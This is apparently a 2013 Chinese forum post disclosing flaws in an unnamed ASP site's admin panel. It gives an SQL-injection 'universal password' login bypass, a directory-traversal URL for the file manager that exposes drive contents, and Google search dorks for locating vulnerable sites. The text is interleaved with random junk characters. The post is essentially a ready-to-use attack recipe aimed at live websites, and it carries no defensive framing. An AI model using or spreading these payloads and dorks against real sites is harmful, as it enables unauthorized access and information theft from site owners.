后台万能密码 'or'='or'
: l& I/ X4 G3 @8 u- M0 h
+ r; y2 H2 Q. e, v' y+ w8 K3 u后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！4 R" h2 p N r$ a% e1 D
admin/uploadfile.asp?currentFolder=/upfiles/..// T4 c- E: H8 r3 N1 h% m5 G9 P. M
2 Y' z K& Q4 a$ D
漏洞证明：0 g/ f" d% K' J: m: x. Y* O
. K- o+ [6 w @$ l( y
谷歌：inurl:type.asp?id=1 新闻中心: w2 X) v+ e) l }! j% O
或者 ：inurl:download_ok.asp?
+ e0 M6 w3 u p$ f; o0 A& i6 W' R' A5 S6 |
|
发表于 2013-3-14 20:17:32
收藏
支持
反对